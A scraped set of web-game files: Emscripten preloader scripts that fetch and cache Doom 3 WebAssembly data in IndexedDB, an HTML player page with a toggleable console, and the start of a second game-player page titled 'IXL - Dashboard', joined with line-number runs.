function cacheRemotePackage( db, packageName, packageData, packageMeta, callback, errback ) { var transactionPackages = db.transaction([PACKAGE_STORE_NAME], IDB_RW); var packages = transactionPackages.objectStore(PACKAGE_STORE_NAME); var chunkSliceStart = 0; var nextChunkSliceStart = 0; var chunkCount = Math.ceil(packageData.byteLength / CHUNK_SIZE); var finishedChunks = 0; for (var chunkId = 0; chunkId < chunkCount; chunkId++) { nextChunkSliceStart += CHUNK_SIZE; var putPackageRequest = packages.put( packageData.slice(chunkSliceStart, nextChunkSliceStart), 'package/' + packageName + '/' + chunkId ); chunkSliceStart = nextChunkSliceStart; putPackageRequest.onsuccess = function(event) { finishedChunks++; if (finishedChunks == chunkCount) { var transaction_metadata = db.transaction( [METADATA_STORE_NAME], IDB_RW ); var metadata = transaction_metadata.objectStore(METADATA_STORE_NAME); var putMetadataRequest = metadata.put( { uuid: packageMeta.uuid, chunkCount: chunkCount }, 'metadata/' + packageName ); putMetadataRequest.onsuccess = function(event) { callback(packageData); }; putMetadataRequest.onerror = function(error) { errback(error); }; } }; putPackageRequest.onerror = function(error) { errback(error); }; } }
/* Check if there's a cached package, and if so whether it's the latest available */ function checkCachedPackage(db, packageName, callback, errback) { var transaction = db.transaction([METADATA_STORE_NAME], IDB_RO); var metadata = transaction.objectStore(METADATA_STORE_NAME); var getRequest = metadata.get('metadata/' + packageName); getRequest.onsuccess = function(event) { var result = event.target.result; if (!result) { return callback(false, null); } else { return callback(PACKAGE_UUID === result.uuid, result); } }; getRequest.onerror = function(error) { errback(error); }; }
function fetchCachedPackage(db, packageName, metadata, callback, errback) { var transaction = db.transaction([PACKAGE_STORE_NAME], IDB_RO); var packages = transaction.objectStore(PACKAGE_STORE_NAME);
var chunksDone = 0; var totalSize = 0; var chunks = new Array(metadata.chunkCount);
for (var chunkId = 0; chunkId < metadata.chunkCount; chunkId++) { var getRequest = packages.get('package/' + packageName + '/' + chunkId); getRequest.onsuccess = function(event) { // If there's only 1 chunk, there's nothing to concatenate it with so we can just return it now if (metadata.chunkCount == 1) { callback(event.target.result); } else { chunksDone++; totalSize += event.target.result.byteLength; chunks.push(event.target.result); if (chunksDone == metadata.chunkCount) { if (chunksDone == 1) { callback(event.target.result); } else { var tempTyped = new Uint8Array(totalSize); var byteOffset = 0; for (var chunkId in chunks) { var buffer = chunks[chunkId]; tempTyped.set(new Uint8Array(buffer), byteOffset); byteOffset += buffer.byteLength; buffer = undefined; } chunks = undefined; callback(tempTyped.buffer); tempTyped = undefined; } } } }; getRequest.onerror = function(error) { errback(error); }; } } function processPackageData(arrayBuffer) { Module.finishedDataFileDownloads++; assert(arrayBuffer, 'Loading data file failed.'); assert(arrayBuffer instanceof ArrayBuffer, 'bad input to processPackageData'); var byteArray = new Uint8Array(arrayBuffer); var curr; // Reuse the bytearray from the XHR as the source for file reads. DataRequest.prototype.byteArray = byteArray; var files = metadata.files; for (var i = 0; i < files.length; ++i) { DataRequest.prototype.requests[files[i].filename].onload(); } console.info("demo_data00 loaded"); Module['removeRunDependency']('datafile_demo_game00.data');
}; Module['addRunDependency']('datafile_demo_game00.data'); if (!Module.preloadResults) Module.preloadResults = {}; function preloadFallback(error) { console.error(error); console.error('falling back to default preload behavior'); fetchRemotePackage(REMOTE_PACKAGE_NAME, REMOTE_PACKAGE_SIZE, processPackageData, handleError); };
openDatabase( function(db) { checkCachedPackage(db, PACKAGE_PATH + PACKAGE_NAME, function(useCached, metadata) { Module.preloadResults[PACKAGE_NAME] = {fromCache: useCached}; if (useCached) { console.info('loading ' + PACKAGE_NAME + ' from cache'); fetchCachedPackage(db, PACKAGE_PATH + PACKAGE_NAME, metadata, processPackageData, preloadFallback); } else { console.info('loading ' + PACKAGE_NAME + ' from remote'); fetchRemotePackage(REMOTE_PACKAGE_NAME, REMOTE_PACKAGE_SIZE, function(packageData) { cacheRemotePackage(db, PACKAGE_PATH + PACKAGE_NAME, packageData, {uuid:PACKAGE_UUID}, processPackageData, function(error) { console.error(error); processPackageData(packageData); }); } , preloadFallback); } } , preloadFallback); } , preloadFallback);
if (Module['setStatus']) Module['setStatus']('Downloading...'); } if (Module['calledRun']) { runWithFS(); } else { if (!Module['postRun']) Module['postRun'] = []; Module["postRun"].push(runWithFS); // FS is not initialized yet, wait for it }
} loadPackage({"files": [{"start": 0, "audio": 0, "end": 13930308, "filename": "/usr/local/share/d3wasm/base/demo_game00.pk4"}], "remote_package_size": 13930308, "package_uuid": "9a3de577-bfd1-4b8d-887b-718423ef7a2d"});
})();123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346
var Module = typeof Module !== 'undefined' ? Module : {};
if (!Module.expectedDataFileDownloads) { Module.expectedDataFileDownloads = 0; Module.finishedDataFileDownloads = 0;}Module.expectedDataFileDownloads++;(function() { var loadPackage = function(metadata) {
var PACKAGE_PATH; if (typeof window === 'object') { PACKAGE_PATH = window['encodeURIComponent'](window.location.pathname.toString().substring(0, window.location.pathname.toString().lastIndexOf('/')) + '/'); } else if (typeof location !== 'undefined') { // worker PACKAGE_PATH = encodeURIComponent(location.pathname.toString().substring(0, location.pathname.toString().lastIndexOf('/')) + '/'); } else { throw 'using preloaded data can only be done on a web page or in a web worker'; } var PACKAGE_NAME = 'demo_game01.data'; var REMOTE_PACKAGE_BASE = 'demo_game01.data'; if (typeof Module['locateFilePackage'] === 'function' && !Module['locateFile']) { Module['locateFile'] = Module['locateFilePackage']; err('warning: you defined Module.locateFilePackage, that has been renamed to Module.locateFile (using your locateFilePackage for now)'); } var REMOTE_PACKAGE_NAME = Module['locateFile'] ? Module['locateFile'](REMOTE_PACKAGE_BASE, '') : REMOTE_PACKAGE_BASE; var REMOTE_PACKAGE_SIZE = metadata.remote_package_size; var PACKAGE_UUID = metadata.package_uuid; function fetchRemotePackage(packageName, packageSize, callback, errback) { var xhr = new XMLHttpRequest(); xhr.open('GET', packageName, true); xhr.responseType = 'arraybuffer'; xhr.onprogress = function(event) { var url = packageName; var size = packageSize; if (event.total) size = event.total; if (event.loaded) { if (!xhr.addedTotal) { xhr.addedTotal = true; if (!Module.dataFileDownloads) Module.dataFileDownloads = {}; Module.dataFileDownloads[url] = { loaded: event.loaded, total: size }; } else { Module.dataFileDownloads[url].loaded = event.loaded; } var total = 0; var loaded = 0; var num = 0; for (var download in Module.dataFileDownloads) { var data = Module.dataFileDownloads[download]; total += data.total; loaded += data.loaded; num++; } total = Math.ceil(total * Module.expectedDataFileDownloads/num); if (Module['setStatus']) Module['setStatus']('Downloading data... (' + loaded + '/' + total + ')'); } else if (!Module.dataFileDownloads) { if (Module['setStatus']) Module['setStatus']('Downloading data...'); } }; xhr.onerror = function(event) { throw new Error("NetworkError for: " + packageName); } xhr.onload = function(event) { if (xhr.status == 200 || xhr.status == 304 || xhr.status == 206 || (xhr.status == 0 && xhr.response)) { // file URLs can return 0 var packageData = xhr.response; callback(packageData); } else { throw new Error(xhr.statusText + " : " + xhr.responseURL); } }; xhr.send(null); };
function handleError(error) { console.error('package error:', error); }; function runWithFS() {
function assert(check, msg) { if (!check) throw msg + new Error().stack; }Module['FS_createPath']('/', 'usr', true, true);Module['FS_createPath']('/usr', 'local', true, true);Module['FS_createPath']('/usr/local', 'share', true, true);Module['FS_createPath']('/usr/local/share', 'd3wasm', true, true);Module['FS_createPath']('/usr/local/share/d3wasm', 'base', true, true);
function DataRequest(start, end, audio) { this.start = start; this.end = end; this.audio = audio; } DataRequest.prototype = { requests: {}, open: function(mode, name) { this.name = name; this.requests[name] = this; Module['addRunDependency']('fp ' + this.name); }, send: function() {}, onload: function() { var byteArray = this.byteArray.subarray(this.start, this.end); this.finish(byteArray); }, finish: function(byteArray) { var that = this;
Module['FS_createDataFile'](this.name, null, byteArray, true, true, true); // canOwn this data in the filesystem, it is a slide into the heap that will never change Module['removeRunDependency']('fp ' + that.name);
this.requests[this.name] = null; } };
var files = metadata.files; for (var i = 0; i < files.length; ++i) { new DataRequest(files[i].start, files[i].end, files[i].audio).open('GET', files[i].filename); }
var indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB; var IDB_RO = "readonly"; var IDB_RW = "readwrite"; var DB_NAME = "EM_PRELOAD_CACHE"; var DB_VERSION = 1; var METADATA_STORE_NAME = 'METADATA'; var PACKAGE_STORE_NAME = 'PACKAGES'; function openDatabase(callback, errback) { try { var openRequest = indexedDB.open(DB_NAME, DB_VERSION); } catch (e) { return errback(e); } openRequest.onupgradeneeded = function(event) { var db = event.target.result;
if(db.objectStoreNames.contains(PACKAGE_STORE_NAME)) { db.deleteObjectStore(PACKAGE_STORE_NAME); } var packages = db.createObjectStore(PACKAGE_STORE_NAME);
if(db.objectStoreNames.contains(METADATA_STORE_NAME)) { db.deleteObjectStore(METADATA_STORE_NAME); } var metadata = db.createObjectStore(METADATA_STORE_NAME); }; openRequest.onsuccess = function(event) { var db = event.target.result; callback(db); }; openRequest.onerror = function(error) { errback(error); }; };
// This is needed as chromium has a limit on per-entry files in IndexedDB // https://cs.chromium.org/chromium/src/content/renderer/indexed_db/webidbdatabase_impl.cc?type=cs&sq=package:chromium&g=0&l=177 // https://cs.chromium.org/chromium/src/out/Debug/gen/third_party/blink/public/mojom/indexeddb/indexeddb.mojom.h?type=cs&sq=package:chromium&g=0&l=60 // We set the chunk size to 64MB to stay well-below the limit var CHUNK_SIZE = 50 * 1024 * 1024;
function cacheRemotePackage( db, packageName, packageData, packageMeta, callback, errback ) { var transactionPackages = db.transaction([PACKAGE_STORE_NAME], IDB_RW); var packages = transactionPackages.objectStore(PACKAGE_STORE_NAME); var chunkSliceStart = 0; var nextChunkSliceStart = 0; var chunkCount = Math.ceil(packageData.byteLength / CHUNK_SIZE); var finishedChunks = 0; for (var chunkId = 0; chunkId < chunkCount; chunkId++) { nextChunkSliceStart += CHUNK_SIZE; var putPackageRequest = packages.put( packageData.slice(chunkSliceStart, nextChunkSliceStart), 'package/' + packageName + '/' + chunkId ); chunkSliceStart = nextChunkSliceStart; putPackageRequest.onsuccess = function(event) { finishedChunks++; if (finishedChunks == chunkCount) { var transaction_metadata = db.transaction( [METADATA_STORE_NAME], IDB_RW ); var metadata = transaction_metadata.objectStore(METADATA_STORE_NAME); var putMetadataRequest = metadata.put( { uuid: packageMeta.uuid, chunkCount: chunkCount }, 'metadata/' + packageName ); putMetadataRequest.onsuccess = function(event) { callback(packageData); }; putMetadataRequest.onerror = function(error) { errback(error); }; } }; putPackageRequest.onerror = function(error) { errback(error); }; } }
/* Check if there's a cached package, and if so whether it's the latest available */ function checkCachedPackage(db, packageName, callback, errback) { var transaction = db.transaction([METADATA_STORE_NAME], IDB_RO); var metadata = transaction.objectStore(METADATA_STORE_NAME); var getRequest = metadata.get('metadata/' + packageName); getRequest.onsuccess = function(event) { var result = event.target.result; if (!result) { return callback(false, null); } else { return callback(PACKAGE_UUID === result.uuid, result); } }; getRequest.onerror = function(error) { errback(error); }; }
function fetchCachedPackage(db, packageName, metadata, callback, errback) { var transaction = db.transaction([PACKAGE_STORE_NAME], IDB_RO); var packages = transaction.objectStore(PACKAGE_STORE_NAME);
var chunksDone = 0; var totalSize = 0; var chunks = new Array(metadata.chunkCount);
for (var chunkId = 0; chunkId < metadata.chunkCount; chunkId++) { var getRequest = packages.get('package/' + packageName + '/' + chunkId); getRequest.onsuccess = function(event) { // If there's only 1 chunk, there's nothing to concatenate it with so we can just return it now if (metadata.chunkCount == 1) { callback(event.target.result); } else { chunksDone++; totalSize += event.target.result.byteLength; chunks.push(event.target.result); if (chunksDone == metadata.chunkCount) { if (chunksDone == 1) { callback(event.target.result); } else { var tempTyped = new Uint8Array(totalSize); var byteOffset = 0; for (var chunkId in chunks) { var buffer = chunks[chunkId]; tempTyped.set(new Uint8Array(buffer), byteOffset); byteOffset += buffer.byteLength; buffer = undefined; } chunks = undefined; callback(tempTyped.buffer); tempTyped = undefined; } } } }; getRequest.onerror = function(error) { errback(error); }; } } function processPackageData(arrayBuffer) { Module.finishedDataFileDownloads++; assert(arrayBuffer, 'Loading data file failed.'); assert(arrayBuffer instanceof ArrayBuffer, 'bad input to processPackageData'); var byteArray = new Uint8Array(arrayBuffer); var curr; // Reuse the bytearray from the XHR as the source for file reads. DataRequest.prototype.byteArray = byteArray; var files = metadata.files; for (var i = 0; i < files.length; ++i) { DataRequest.prototype.requests[files[i].filename].onload(); } console.info("demo_data01 loaded"); Module['removeRunDependency']('datafile_demo_game01.data');
}; Module['addRunDependency']('datafile_demo_game01.data'); if (!Module.preloadResults) Module.preloadResults = {}; function preloadFallback(error) { console.error(error); console.error('falling back to default preload behavior'); fetchRemotePackage(REMOTE_PACKAGE_NAME, REMOTE_PACKAGE_SIZE, processPackageData, handleError); };
openDatabase( function(db) { checkCachedPackage(db, PACKAGE_PATH + PACKAGE_NAME, function(useCached, metadata) { Module.preloadResults[PACKAGE_NAME] = {fromCache: useCached}; if (useCached) { console.info('loading ' + PACKAGE_NAME + ' from cache'); fetchCachedPackage(db, PACKAGE_PATH + PACKAGE_NAME, metadata, processPackageData, preloadFallback); } else { console.info('loading ' + PACKAGE_NAME + ' from remote'); fetchRemotePackage(REMOTE_PACKAGE_NAME, REMOTE_PACKAGE_SIZE, function(packageData) { cacheRemotePackage(db, PACKAGE_PATH + PACKAGE_NAME, packageData, {uuid:PACKAGE_UUID}, processPackageData, function(error) { console.error(error); processPackageData(packageData); }); } , preloadFallback); } } , preloadFallback); } , preloadFallback);
if (Module['setStatus']) Module['setStatus']('Downloading...'); } if (Module['calledRun']) { runWithFS(); } else { if (!Module['postRun']) Module['postRun'] = []; Module["postRun"].push(runWithFS); // FS is not initialized yet, wait for it }
} loadPackage({"files": [{"start": 0, "audio": 0, "end": 388213789, "filename": "/usr/local/share/d3wasm/base/demo_game01.pk4"}], "remote_package_size": 388213789, "package_uuid": "649ebc9e-f81b-418b-b10d-02b7b6213937"});
})();123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364<!doctype html>
<html lang="en-us">
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>doom 3</title>
<style>
@font-face {
font-family: 'SteamConsole';
src: url('SteamConsole.ttf') format('truetype');
font-weight: normal;
font-style: normal;
}
body {
font-family: Arial, sans-serif;
margin: 0;
background-color: black;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
overflow: hidden;
}
#game-container {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
position: relative;
}
canvas.emscripten {
border: 0px none;
background-color: black;
display: block;
}
.loading-overlay {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
display: flex;
flex-direction: column;
align-items: center;
color: white;
z-index: 10;
}
#status {
margin-top: 10px;
font-weight: bold;
color: #787878;
font-family: 'SteamConsole', monospace;
}
#progress {
margin-top: 5px;
width: 300px;
height: 20px;
appearance: none;
border-radius: 10px;
overflow: hidden;
}
#progress::-webkit-progress-bar {
background-color: #333;
}
#progress::-webkit-progress-value {
background-color: #bd2b0c;
}
.spinner {
height: 30px;
width: 30px;
-webkit-animation: rotation .8s linear infinite;
-moz-animation: rotation .8s linear infinite;
-o-animation: rotation .8s linear infinite;
animation: rotation 0.8s linear infinite;
border-left: 0px solid rgb(235, 235, 235);
border-right: 0px solid rgb(235, 235, 235);
border-bottom: 0px solid rgb(235, 235, 235);
border-top: 0px solid rgb(120, 120, 120);
border-radius: 100%;
background-color: transparent;
}
@-webkit-keyframes rotation { from { -webkit-transform: rotate(0deg); } to { -webkit-transform: rotate(360deg); } }
@-moz-keyframes rotation { from { -moz-transform: rotate(0deg); } to { -moz-transform: rotate(360deg); } }
@-o-keyframes rotation { from { -o-transform: rotate(0deg); } to { -o-transform: rotate(360deg); } }
@keyframes rotation { from { transform: rotate(0deg); } to { transform: rotate(360deg); } }
#console {
position: absolute;
width: 600px;
height: 400px;
background-color: #4c584a;
border: 1px solid #2c322b;
z-index: 20;
display: none;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
flex-direction: column;
overflow: hidden;
user-select: none;
font-family: 'SteamConsole', monospace;
font-size: 14px;
}
#console-header {
background-color: #2c322b;
color: #d1d1d1;
padding: 5px 10px;
display: flex;
justify-content: space-between;
align-items: center;
font-weight: bold;
cursor: move;
border-bottom: 1px solid #3d453b;
}
#console-close {
color: #d1d1d1;
cursor: pointer;
font-weight: bold;
padding: 0 5px;
}
#console-output {
flex-grow: 1;
padding: 10px;
overflow-y: auto;
color: #d1d1d1;
white-space: pre-wrap;
background-color: #414c3e;
}
#console-input-area {
display: flex;
padding: 5px;
border-top: 1px solid #636f61;
background-color: #4c584a;
}
#console-input {
flex-grow: 1;
background-color: #414c3e;
border: 1px solid #2c322b;
padding: 5px;
color: #d1d1d1;
outline: none;
font-family: 'SteamConsole', monospace;
font-size: 14px;
}
#console-submit {
background-color: #636f61;
color: #2c322b;
border: 1px solid #2c322b;
padding: 5px 15px;
margin-left: 5px;
cursor: pointer;
font-family: 'SteamConsole', monospace;
font-size: 14px;
}
#console-submit:hover {
background-color: #738174;
}
</style>
</head>
<body>
<div id="game-container">
<div class="loading-overlay" id="loading-overlay">
<div class="spinner" id='spinner'></div>
<div id="status">Downloading...</div>
<progress value="0" max="100" id="progress" hidden="true"></progress>
</div>
<canvas class="emscripten" id="canvas" oncontextmenu="event.preventDefault()" tabindex="-1"></canvas>
<div id="console">
<div id="console-header">
<span>Console</span>
<span id="console-close">X</span>
</div>
<div id="console-output">
doom 3 consle baby<br>
<span id="console-log"></span>
</div>
<div id="console-input-area">
<input type="text" id="console-input" placeholder="Type command...">
<button id="console-submit">Submit</button>
</div>
</div>
</div>
<script type='text/javascript'>
var statusElement = document.getElementById('status');
var progressElement = document.getElementById('progress');
var spinnerElement = document.getElementById('spinner');
var consoleElement = document.getElementById('console');
var consoleInput = document.getElementById('console-input');
var consoleLog = document.getElementById('console-log');
var consoleSubmit = document.getElementById('console-submit');
var consoleClose = document.getElementById('console-close');
function toggleConsole() {
var isVisible = consoleElement.style.display === 'flex';
if (isVisible) {
consoleElement.style.display = 'none';
Module.canvas.focus();
} else {
consoleElement.style.display = 'flex';
consoleInput.focus();
}
}
function handleConsoleInput() {
var command = consoleInput.value.trim();
if (command) {
var logEntry = document.createElement('div');
logEntry.innerHTML = ']' + command;
consoleLog.appendChild(logEntry);
consoleInput.value = '';
consoleLog.parentElement.scrollTop = consoleLog.parentElement.scrollHeight;
}
}
document.addEventListener('keydown', function(event) {
if (event.key === '`' || event.key === '~') {
event.preventDefault();
toggleConsole();
} else if (event.key === 'Enter' && consoleElement.style.display === 'flex') {
event.preventDefault();
handleConsoleInput();
}
});
consoleSubmit.addEventListener('click', handleConsoleInput);
consoleClose.addEventListener('click', toggleConsole);
var isDragging = false;
var currentX;
var currentY;
var initialX;
var initialY;
var xOffset = 0;
var yOffset = 0;
function dragStart(e) {
initialX = e.clientX - xOffset;
initialY = e.clientY - yOffset;
isDragging = true;
}
function dragEnd(e) {
initialX = currentX;
initialY = currentY;
isDragging = false;
}
function drag(e) {
if (isDragging) {
e.preventDefault();
currentX = e.clientX - initialX;
currentY = e.clientY - initialY;
xOffset = currentX;
yOffset = currentY;
consoleElement.style.transform = 'translate(' + currentX + 'px, ' + currentY + 'px)';
}
}
document.getElementById('console-header').addEventListener('mousedown', dragStart);
document.addEventListener('mouseup', dragEnd);
document.addEventListener('mousemove', drag);
var Module = {
preRun: [],
postRun: [],
print: (function () {
return function (text) {
if (arguments.length > 1) text = Array.prototype.slice.call(arguments).join(' ');
var logEntry = document.createElement('div');
logEntry.innerHTML = text;
consoleLog.appendChild(logEntry);
console.log(text);
consoleLog.parentElement.scrollTop = consoleLog.parentElement.scrollHeight;
};
})(),
printErr: function (text) {
if (arguments.length > 1) text = Array.prototype.slice.call(arguments).join(' ');
console.error(text);
},
canvas: (function () {
var canvas = document.getElementById('canvas');
canvas.addEventListener("webglcontextlost", function (e) {
console.error('WebGL context lost. You will need to reload the page.');
e.preventDefault();
}, false);
return canvas;
})(),
hideStatus: function() {
document.getElementById('loading-overlay').style.display = "none";
},
showStatus: function() {
document.getElementById('loading-overlay').style.display = "flex";
},
setStatus: function (text) {
if (!Module.setStatus.last) Module.setStatus.last = {time: Date.now(), text: ''};
if (text === Module.setStatus.last.text) return;
var m = text.match(/([^(]+)\((\d+(\.\d+)?)\/(\d+)\)/);
var now = Date.now();
if (m && now - Module.setStatus.last.time < 30) return;
Module.setStatus.last.time = now;
Module.setStatus.last.text = text;
if (m) {
text = m[1];
progressElement.value = parseInt(m[2]) * 100;
progressElement.max = parseInt(m[4]) * 100;
progressElement.hidden = false;
spinnerElement.hidden = false;
} else {
progressElement.value = null;
progressElement.max = null;
progressElement.hidden = true;
if (!text) spinnerElement.style.display = 'none';
}
statusElement.innerHTML = text;
},
totalDependencies: 0,
monitorRunDependencies: function (left) {
this.totalDependencies = Math.max(this.totalDependencies, left);
Module.setStatus(left ? 'Preparing... (' + (this.totalDependencies - left) + '/' + this.totalDependencies + ')' : 'All downloads complete.');
if (!left) {
Module.hideStatus();
}
else {
Module.showStatus();
}
}
};
Module.setStatus('Downloading...');
window.onerror = function (event) {
Module.setStatus('Exception thrown, see JavaScript console');
spinnerElement.style.display = 'none';
Module.setStatus = function (text) {
if (text) Module.printErr('[post-exception status] ' + text);
};
};
</script>
<script async type="text/javascript" src="d3wasm.js"></script>
</body>
</html>1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <script src="/js/all.min.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>IXL - Dashboard</title> <script type="text/javascript"> window.errors = [] if (window.addEventListener) { window.addEventListener( 'error', function (e) { if (e.message) { if (e.error && e.error.stack) { if (e.message.indexOf('Uncaught SyntaxError') === 0) { window.errors.push( e.message + ' at ' + e.filename + ':' + e.lineno + ':' + e.colno ) } else { window.errors.push(e.error.stack) } if (window.onNewError) window.onNewError() } } else { window.errors.push( 'Problem loading ' + (e.target.src || e.target.href) ) if (window.onNewError) window.onNewError() } window.onerror = null }, true ) // true so that errors bubble up to window window.addEventListener( 'unhandledrejection', function (e) { window.errors.push( e.reason && (e.reason.stack || e.reason.message || e.reason) ) if (window.onNewError) window.onNewError() }, false ) } window.onerror = function (message, source, lineno, colno, error) { if (colno) { lineno += ':' + colno } if (error && error.stack) { window.errors.push(error.stack) } else { window.errors.push(message + ' at ' + source + ':' + lineno) } if (window.onNewError) window.onNewError() } </script> <style>html,body { height: 100%;}body,::backdrop { margin: 0; display: flex; align-items: center; justify-content: center; background-color: black; font-size: 0; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; overflow: hidden; background-position: center; background-size: cover;}#wrapper { display: block; position: relative;}.no-cursor #wrapper { cursor: none;}.loading #wrapper { visibility: hidden;}.stretch-stage #wrapper { width: 100vw; height: 100vh;}/* CSS for proportional wrapper scaling is added dynamically by htmlifier.ts */#monitors { position: absolute; top: 0; left: 0;}#stage { width: 100%; height: 100%;}#loading-progress { display: none; position: fixed; bottom: 20px; left: 20px; right: 20px; border-radius: 20px; --progress: 0%; z-index: 100;}.show-loading-progress #loading-progress { display: block;}#loading-progress::before { content: attr(data-progress); position: absolute; bottom: 100%; left: 0; right: 0; text-align: center; font-size: 1.5rem; margin-bottom: 15px;}#loading-progress::after { content: ''; display: block; height: 16px; border-radius: 20px; width: var(--progress);}#loading-image { position: fixed; max-width: 100%; max-height: 100%; left: 0; right: 0; top: 0; bottom: 0; margin: auto;}.stretch-loading-image #loading-image { width: 100%; height: 100%;}.buttons { position: fixed; top: 0; right: 0; background-color: rgba(0, 0, 0, 0.5); border-bottom-left-radius: 12px;}.buttons .button,.buttons button { display: none; -webkit-appearance: none; border: none; background: none; width: 48px; height: 48px; cursor: pointer; background-repeat: no-repeat; background-position: center; background-size: 24px;}.buttons button:disabled,#add-sprite-file:disabled + #add-sprite-btn { cursor: auto; opacity: 0.5;}#start-btn { background-image: url('data:image/svg+xml,%3Csvg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"%3E%3Cpath d="M8 5v14l11-7z" fill="%23fff"/%3E%3C/svg%3E%0A');}.running #start-btn { background-image: url('data:image/svg+xml,%3Csvg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"%3E%3Cpath d="M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8z" fill="%23fff"/%3E%3C/svg%3E');}#stop-btn { background-image: url('data:image/svg+xml,%3Csvg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"%3E%3Cpath d="M6 6h12v12H6z" 